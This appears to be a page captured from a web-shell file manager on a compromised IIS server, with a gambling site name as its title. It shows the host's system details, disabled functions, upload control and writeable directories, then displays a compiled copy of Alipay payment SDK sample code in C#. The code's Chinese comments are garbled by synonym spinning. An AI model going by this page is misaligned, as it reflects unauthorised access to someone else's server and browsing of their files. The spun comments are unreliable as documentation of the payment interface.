918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/cae6aa2e/15328683/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/cae6aa2e/15328683/App_Code.vywp5zcy.36.cs
?#pragma checksum "D:\wwwroot\anlian2025\wwwroot\App_Code\zhifubao\AlipaySubmit.cs" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "EF3936A20048C419580911E98ECA0C47F6083321"

#line 1 "D:\wwwroot\anlian2025\wwwroot\App_Code\zhifubao\AlipaySubmit.cs"
using System.Web;
using System.Text;
using System.IO;
using System.Net;
using System;
using System.Collections.Generic;
using System.Xml;

namespace Com.Alipay
{
    /// <summary>
    /// 类名:Submit
    /// 职能:支付宝各接口要求提交类
    /// 具体:机关支付宝各接口表单HTML文本,获取远程HTTP数据
    /// 版本:3.3
    /// 批改日期:2011-07-05
    /// 注明:
    /// 以下代码只是为了方便商户测试而提供的样例代码,商户能够凭据自己网站的必要,依照技术文档编写,并非肯定要使用该代码。
    /// 该代码仅供进建和钻研支付宝接口使用,只是提供一个参考
    /// </summary>
    public class Submit
    {
        #region 字段
        //支付宝网关地址(新)
        private static string GATEWAY_NEW = "https://mapi.alipay.com/gateway.do?";
        //商户的私钥
        private static string _key = "";
        //编码体式
        private static string _input_charset = "";
        //署名方式
        private static string _sign_type = "";
        #endregion

        static Submit()
        {
            _key = Config.key.Trim();
            _input_charset = Config.input_charset.Trim().ToLower();
            _sign_type = Config.sign_type.Trim().ToUpper();
        }

        /// <summary>
        /// 天生要求时的署名
        /// </summary>
        /// <param name="sPara">要求给支付宝的参数数组</param>
        /// <returns>署名了局</returns>
        private static string BuildRequestMysign(Dictionary<string, string> sPara)
        {
            //把数组所有元素,依照“参数=参数值”的模式用“&”字符拼接成字符串
            string prestr = Core.CreateLinkString(sPara);

            //把最终的字符串署名,获得署名了局
            string mysign = "";
            switch (_sign_type)
            {
                case "MD5":
                    mysign = AlipayMD5.Sign(prestr, _key, _input_charset);
                    break;
                default:
                    mysign = "";
                    break;
            }

            return mysign;
        }

        /// <summary>
        /// 天生要要求给支付宝的参数数组
        /// </summary>
        /// <param name="sParaTemp">要求前的参数数组</param>
        /// <returns>要要求的参数数组</returns>
        private static Dictionary<string, string> BuildRequestPara(SortedDictionary<string, string> sParaTemp)
        {
            //待署名要求参数数组
            Dictionary<string, string> sPara = new Dictionary<string, string>();
            //署名了局
            string mysign = "";

            //过滤署名参数数组
            sPara = Core.FilterPara(sParaTemp);

            //获得署名了局
            mysign = BuildRequestMysign(sPara);

            //署名了局与署名方式参与要求提交参数组中
            sPara.Add("sign", mysign);
            sPara.Add("sign_type", _sign_type);

            return sPara;
        }

        /// <summary>
        /// 天生要要求给支付宝的参数数组
        /// </summary>
        /// <param name="sParaTemp">要求前的参数数组</param>
        /// <param name="code">字符编码</param>
        /// <returns>要要求的参数数组字符串</returns>
        private static string BuildRequestParaToString(SortedDictionary<string, string> sParaTemp, Encoding code)
        {
            //待署名要求参数数组
            Dictionary<string, string> sPara = new Dictionary<string, string>();
            sPara = BuildRequestPara(sParaTemp);

            //把参数组中所有元素,依照“参数=参数值”的模式用“&”字符拼接成字符串,并对参数值做urlencode
            string strRequestData = Core.CreateLinkStringUrlencode(sPara, code);

            return strRequestData;
        }

        /// <summary>
        /// 成立要求,以表单HTML大局机关(默认)
        /// </summary>
        /// <param name="sParaTemp">要求参数数组</param>
        /// <param name="strMethod">提交方式。两个值可。簆ost、get</param>
        /// <param name="strButtonValue">确认按钮显示文字</param>
        /// <returns>提交表单HTML文本</returns>
        public static string BuildRequest(SortedDictionary<string, string> sParaTemp, string strMethod, string strButtonValue)
        {
            //待要求参数数组
            Dictionary<string, string> dicPara = new Dictionary<string, string>();
            dicPara = BuildRequestPara(sParaTemp);

            StringBuilder sbHtml = new StringBuilder();

            sbHtml.Append("<form id='alipaysubmit' name='alipaysubmit' action='" + GATEWAY_NEW + "_input_charset=" + _input_charset + "' method='" + strMethod.ToLower().Trim() + "'>");

            foreach (KeyValuePair<string, string> temp in dicPara)
            {
                sbHtml.Append("<input type='hidden' name='" + temp.Key + "' value='" + temp.Value + "'/>");
            }

            //submit按钮控件请不要含有name属性
            sbHtml.Append("<input type='submit' value='" + strButtonValue + "' style='display:none;'></form>");

            sbHtml.Append("<script>document.forms['alipaysubmit'].submit();</script>");

            return sbHtml.ToString();
        }



        /// <summary>
        /// 用于防垂钓,挪用接口query_timestamp来获取功夫戳的处置函数
        /// 把稳:远程解析XML犯错,与IIS服务器配置有关
        /// </summary>
        /// <returns>功夫戳字符串</returns>
        public static string Query_timestamp()
        {
            string url = GATEWAY_NEW + "service=query_timestamp&partner=" + Config.partner + "&_input_charset=" + Config.input_charset;
            string encrypt_key = "";

            XmlTextReader Reader = new XmlTextReader(url);
            XmlDocument xmlDoc = new XmlDocument();
            xmlDoc.Load(Reader);

            encrypt_key = xmlDoc.SelectSingleNode("/alipay/response/timestamp/encrypt_key").InnerText;

            return encrypt_key;
        }
    }
}

#line default
#line hidden